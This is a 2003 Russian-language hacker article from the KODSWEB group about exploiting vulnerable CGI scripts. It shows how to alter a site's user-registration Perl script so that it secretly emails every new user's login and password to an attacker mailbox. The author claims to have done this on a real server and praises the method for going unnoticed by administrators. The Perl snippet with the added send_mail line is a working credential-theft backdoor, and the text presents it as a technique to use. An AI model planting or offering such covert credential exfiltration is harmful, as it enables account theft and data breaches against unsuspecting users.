======================================================================
# #
# Author: {dr}{nerve} // k0dsweb gr0up #
# Статья является собственностью команды KODSWEB #
# Любое растпространение без нашего ведома строго запрещено. #
# -= 6.02.2003 =- #
# #
======================================================================
# #
# Используем уязвимости в CGI-скриптах с умом #
# #
======================================================================
В данной статье я расскажу о грамотном использовании дырки в скрипте.
Все знают кто такие script kiddies и чем они занимаются.
Чем заканчивается результат их поиска и применения багов тоже все знают - это
дефейс. Дефейсы тоже иногда нужно делать, я не спорю:)
Сейчас мы рассмотрим более грамотный способ.
Предположим, что мы получили возможность заменять файлы на сервере с использованием
какого-либо бага. Прошерстили сайт на наличие .cgi .pl, а также диск через баг и
пришли к выводу, что сайт содержит конфиденциальную информацию ну очень интересного
для нас содержания. Информация сокрыта от посторонних глаз, так что просмотреть ее
через стандартные способы и дырки не получается. /etc/passwd тоже паррлей не показывает.
Вроде бы можно бросить, сделав дефейс:)
Но мы с вами пойдем дальше. Вдруг находим скрипт, добавляющий пользователя в базу
данных по паре логин-пароль, и высылающий этот логин-пароль вновь зарегистрированному
пользователю на e-mail. Почему этот пользователь может читать нужную информацию,
а мы нет? Не порядок.
Дальше все может разворачиваться по двум сценариям:
1. Написать фальсифицированный скрипт по подобию стянутого с сервера скрипта,
который просто добавит наш аккаунт в базу данных.
2. Немного подправить скрипт таким образом, чтобы он высылал логин-пароль не только
вновь зарегистрированному юзеру, но и нам на почту, к примеру.
С точки зрения приватности второй способ безопаснее, потому как добавление нового
никому неизвестного пользователя в базу данных может вызвать подозрение
системного администратора, а вот использование аккаунта реально зарегистрированного
(возможно даже заплатившего деньги за регистрацию)
скорее всего останется незамеченным.
Рассмотрим пример скрипта, который я стянул с одного сервера, где и проделал
все описанное.
Ну вот нужная мне секция . Я решил пусть все пароли и мне на Email приходят,
что им жалко что ли ?
$body .= "Thanks for joining us. Please write down or remember your username\n";
$body .= "and password for future reference.\n\n";
$body .= "Username: $form_data{'email'}\n";
$body .= "Your Password: $pwd\n";
$body .= "Your account will expire on: $expire_month $expire_day $expire_year\n\n";
$body .= "To enter members' area go to www.не_скажу.com/members/ and enter your login and password.\n\n";
$body .= "Enjoy your visit at трали вали site !\n";
$admin_email = "админ@сервер.ком";
&send_mail("$admin_email","$form_data{'email'}", "Account activated.\n\n", "$body");
# А это и есть та заветная строчка, которая позволит
# получить доступ к нужной нам информации.
# Просто вызовем функцию еще раз и пошлем пароль себе на ящик.
&send_mail("$admin_email","hax0r@tut.yze",
"Account activated.\n\n", "$body");
open (MEMBERSBASE, ">>c:/path/Members/$form_data{'email'}.user") || &CgiDie
print MEMBERSBASE "$body";
close (MEMBERSBASE);
exit;
Таким образом мы получили login&password на мыло и слили всю заветную инфу.
Все отзывы/предложения принимаются по адресу: admin@kodsweb.ru
[k0dsweb] kodsweb.ru